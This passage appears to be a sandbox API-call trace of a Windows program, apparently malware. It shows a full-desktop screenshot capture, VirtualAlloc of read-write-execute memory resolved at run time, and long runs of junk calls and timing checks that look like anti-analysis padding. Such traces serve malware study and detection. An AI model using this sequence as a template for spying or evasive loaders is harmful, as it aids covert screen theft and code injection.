fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.874] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0140.874] GetWindowLongA (hWnd=0x0, nIndex=-6) returned 0 [0140.874] GetDesktopWindow () returned 0x10010 [0140.874] GetDC (hWnd=0x10010) returned 0x601015d [0140.874] GetClientRect (in: hWnd=0x10010, lpRect=0x18f54c | out: lpRect=0x18f54c) returned 1 [0140.874] CreateCompatibleDC (hdc=0x601015d) returned 0x61010709 [0140.874] CreateDIBSection (in: hdc=0x61010709, lpbmi=0x18f4d8, usage=0x0, ppvBits=0x18f528, hSection=0x0, offset=0x0 | out: ppvBits=0x18f528) returned 0x2905076f [0140.874] SelectObject (hdc=0x61010709, h=0x2905076f) returned 0x185000f [0140.874] BitBlt (hdc=0x61010709, x=0, y=0, cx=1440, cy=900, hdcSrc=0x601015d, x1=0, y1=0, rop=0xcc0020) returned 1 [0141.005] ReleaseDC (hWnd=0x10010, hDC=0x601015d) returned 1 [0141.080] GdipAlloc (size=0x10) returned 0x0 [0141.080] LoadLibraryA (lpLibFileName="kernel32") returned 0x762e0000 [0141.080] SelectObject (hdc=0x61010709, h=0x185000f) returned 0x2905076f [0141.080] DeleteObject (ho=0x2905076f) returned 1 [0141.098] DeleteDC (hdc=0x61010709) returned 1 [0141.098] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0x18f470 | out: ppstm=0x18f470*=0x62f248) returned 0x0 [0141.098] GetProcAddress (hModule=0x762e0000, lpProcName="VirtualAlloc") returned 0x762f1856 [0141.098] GdipAlloc (size=0x10) returned 0x0 [0141.098] VirtualAlloc (lpAddress=0x0, dwSize=0x34000, flAllocationType=0x3000, flProtect=0x40) returned 0x520000 [0141.099] IUnknown:Release (This=0x62f248) returned 0x0 [0141.099] DialogBoxParamA (hInstance=0x400000, lpTemplateName=0xda, hWndParent=0x0, lpDialogFunc=0x429e70, dwInitParam=0x0) returned 0xffffffff [0141.100] IsWindow (hWnd=0x0) returned 0 [0141.100] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.100] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.100] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.100] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.100] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.100] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.100] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.100] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.100] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.100] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.100] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.100] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.100] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.100] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.100] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.100] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.100] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.100] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.100] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.100] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.100] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.100] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.100] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.100] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.100] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.100] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.100] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.100] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.100] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.100] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.100] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.100] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.100] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.100] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.100] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.100] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.101] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.101] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.101] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.101] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.101] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.101] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.101] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.101] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.101] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.101] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.101] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.101] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.101] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.101] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.101] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.101] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.101] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.101] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.101] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.101] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.101] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.101] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.101] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.101] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.101] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.101] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.101] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.101] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.101] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.101] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.101] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.101] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.101] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.101] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8a8 [0141.101] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5be070 [0141.101] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5be088 [0141.101] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5be8b0 [0141.102] GetModuleHandleA (lpModuleName="ntdll") returned 0x77b90000 [0141.102] GetProcAddress (hModule=0x77b90000, lpProcName="memcpy") returned 0x77bb2340 [0141.102] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5be8c8 [0141.102] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5be8e0 [0141.102] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be088 | out: hHeap=0x5b0000) returned 1 [0141.102] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be8b0 | out: hHeap=0x5b0000) returned 1 [0141.102] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be8c8 | out: hHeap=0x5b0000) returned 1 [0141.102] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be8e0 | out: hHeap=0x5b0000) returned 1 [0141.102] FindWindowA (lpClassName="z\x07", lpWindowName="") returned 0x0 [0141.102] RasDeleteSubEntryA (pszPhonebook="z\x07", pszEntry="z\x07", dwSubentryId=0x4) returned 0x26f [0141.186] GetParent (hWnd=0x0) returned 0x0 [0141.186] PageSetupDlgA (param_1=0x18c9dc) returned 0 [0141.186] SendMessageA (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0141.186] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8b8 [0141.186] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8d8 [0141.186] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5bd8c8 [0141.186] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8d8 | out: hHeap=0x5b0000) returned 1 [0141.186] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5be088 [0141.186] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8c8 | out: hHeap=0x5b0000) returned 1 [0141.186] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5be8b0 [0141.186] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be088 | out: hHeap=0x5b0000) returned 1 [0141.186] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5be108 [0141.186] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be8b0 | out: hHeap=0x5b0000) returned 1 [0141.186] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x24) returned 0x5be8b0 [0141.186] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be108 | out: hHeap=0x5b0000) returned 1 [0141.186] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x34) returned 0x5be8e0 [0141.186] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be8b0 | out: hHeap=0x5b0000) returned 1 [0141.186] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be8e0 | out: hHeap=0x5b0000) returned 1 [0141.186] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x5b0000) returned 1 [0141.187] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8b8 [0141.187] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8c8 [0141.187] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5bd8d8 [0141.187] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8c8 | out: hHeap=0x5b0000) returned 1 [0141.187] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5be088 [0141.187] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8d8 | out: hHeap=0x5b0000) returned 1 [0141.187] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be088 | out: hHeap=0x5b0000) returned 1 [0141.187] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x5b0000) returned 1 [0141.187] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8323500, dwHighDateTime=0x1d595b2)) [0141.187] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8b8 [0141.187] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8323500, dwHighDateTime=0x1d595b2)) [0141.187] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8d8 [0141.187] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5bd8c8 [0141.187] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8d8 | out: hHeap=0x5b0000) returned 1 [0141.187] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5be088 [0141.187] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8c8 | out: hHeap=0x5b0000) returned 1 [0141.187] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8325c10, dwHighDateTime=0x1d595b2)) [0141.187] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be088 | out: hHeap=0x5b0000) returned 1 [0141.187] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x5b0000) returned 1 [0141.187] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8b8 [0141.187] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8325c10, dwHighDateTime=0x1d595b2)) [0141.187] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8c8 [0141.187] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5bd8d8 [0141.187] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8c8 | out: hHeap=0x5b0000) returned 1 [0141.187] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5be088 [0141.187] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8d8 | out: hHeap=0x5b0000) returned 1 [0141.187] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8325c10, dwHighDateTime=0x1d595b2)) [0141.187] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be088 | out: hHeap=0x5b0000) returned 1 [0141.187] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x5b0000) returned 1 [0141.187] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8b8 [0141.187] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8325c10, dwHighDateTime=0x1d595b2)) [0141.187] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8d8 [0141.188] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5bd8c8 [0141.188] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8d8 | out: hHeap=0x5b0000) returned 1 [0141.188] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5be088 [0141.188] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8c8 | out: hHeap=0x5b0000) returned 1 [0141.188] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8328320, dwHighDateTime=0x1d595b2)) [0141.188] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be088 | out: hHeap=0x5b0000) returned 1 [0141.188] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x5b0000) returned 1 [0141.188] GetLastError () returned 0x578 [0141.188] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8b8 [0141.188] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8c8 [0141.188] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5bd8d8 [0141.188] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8c8 | out: hHeap=0x5b0000) returned 1 [0141.188] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5be088 [0141.188] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8d8 | out: hHeap=0x5b0000) returned 1 [0141.188] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5be8b0 [0141.188] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be088 | out: hHeap=0x5b0000) returned 1 [0141.188] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5be108 [0141.188] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be8b0 | out: hHeap=0x5b0000) returned 1 [0141.188] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x24) returned 0x5be8b0 [0141.188] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be108 | out: hHeap=0x5b0000) returned 1 [0141.188] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x34) returned 0x5be8e0 [0141.188] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be8b0 | out: hHeap=0x5b0000) returned 1 [0141.188] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be8e0 | out: hHeap=0x5b0000) returned 1 [0141.188] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x5b0000) returned 1 [0141.188] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8b8 [0141.188] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8d8 [0141.188] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5bd8c8 [0141.188] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8d8 | out: hHeap=0x5b0000) returned 1 [0141.188] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5be088 [0141.188] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8c8 | out: hHeap=0x5b0000) returned 1 [0141.188] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be088 | out: hHeap=0x5b0000) returned 1 [0141.188] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x5b0000) returned 1 [0141.188] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8328320, dwHighDateTime=0x1d595b2)) [0141.188] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8b8 [0141.277] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83ff0a0, dwHighDateTime=0x1d595b2)) [0141.277] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8c8 [0141.277] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5bd8d8 [0141.277] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8c8 | out: hHeap=0x5b0000) returned 1 [0141.277] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5be088 [0141.277] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8d8 | out: hHeap=0x5b0000) returned 1 [0141.277] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83ff0a0, dwHighDateTime=0x1d595b2)) [0141.277] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be088 | out: hHeap=0x5b0000) returned 1 [0141.277] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x5b0000) returned 1 [0141.277] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8b8 [0141.277] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83ff0a0, dwHighDateTime=0x1d595b2)) [0141.277] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8d8 [0141.277] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5bd8c8 [0141.277] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8d8 | out: hHeap=0x5b0000) returned 1 [0141.277] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5be088 [0141.277] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8c8 | out: hHeap=0x5b0000) returned 1 [0141.277] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83ff0a0, dwHighDateTime=0x1d595b2)) [0141.277] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be088 | out: hHeap=0x5b0000) returned 1 [0141.277] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x5b0000) returned 1 [0141.277] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8b8 [0141.277] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83ff0a0, dwHighDateTime=0x1d595b2)) [0141.277] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8c8 [0141.277] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5bd8d8 [0141.277] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8c8 | out: hHeap=0x5b0000) returned 1 [0141.277] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5be088 [0141.277] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8d8 | out: hHeap=0x5b0000) returned 1 [0141.277] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83ff0a0, dwHighDateTime=0x1d595b2)) [0141.277] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be088 | out: hHeap=0x5b0000) returned 1 [0141.277] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x5b0000) returned 1 [0141.277] GetLastError () returned 0x578 [0141.277] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8b8 [0141.277] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8d8 [0141.277] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5bd8c8 [0141.277] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8d8 | out: hHeap=0x5b0000) returned 1 [0141.277] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5be088 [0141.277] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8c8 | out: hHeap=0x5b0000) returned 1 [0141.277] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5be8b0 [0141.278] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be088 | out: hHeap=0x5b0000) returned 1 [0141.278] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5be108 [0141.278] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be8b0 | out: hHeap=0x5b0000) returned 1 [0141.278] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x24) returned 0x5be8b0 [0141.278] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be108 | out: hHeap=0x5b0000) returned 1 [0141.278] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x34) returned 0x5be8e0 [0141.278] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be8b0 | out: hHeap=0x5b0000) returned 1 [0141.278] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be8e0 | out: hHeap=0x5b0000) returned 1 [0141.278] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x5b0000) returned 1 [0141.278] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8b8 [0141.278] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8c8 [0141.278] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5bd8d8 [0141.278] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8c8 | out: hHeap=0x5b0000) returned 1 [0141.278] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5be088 [0141.278] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8d8 | out: hHeap=0x5b0000) returned 1 [0141.278] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be088 | out: hHeap=0x5b0000) returned 1 [0141.278] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x5b0000) returned 1 [0141.278] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd84017b0, dwHighDateTime=0x1d595b2)) [0141.278] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8b8 [0141.278] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd84017b0, dwHighDateTime=0x1d595b2)) [0141.278] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8d8 [0141.278] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5bd8c8 [0141.278] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8d8 | out: hHeap=0x5b0000) returned 1 [0141.278] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5be088 [0141.278] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8c8 | out: hHeap=0x5b0000) returned 1 [0141.278] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd84017b0, dwHighDateTime=0x1d595b2)) [0141.278] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be088 | out: hHeap=0x5b0000) returned 1 [0141.278] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x5b0000) returned 1 [0141.278] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8b8 [0141.278] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd84017b0, dwHighDateTime=0x1d595b2)) [0141.278] RtlAllocateHeap (HeapHandle=0x5b0000, 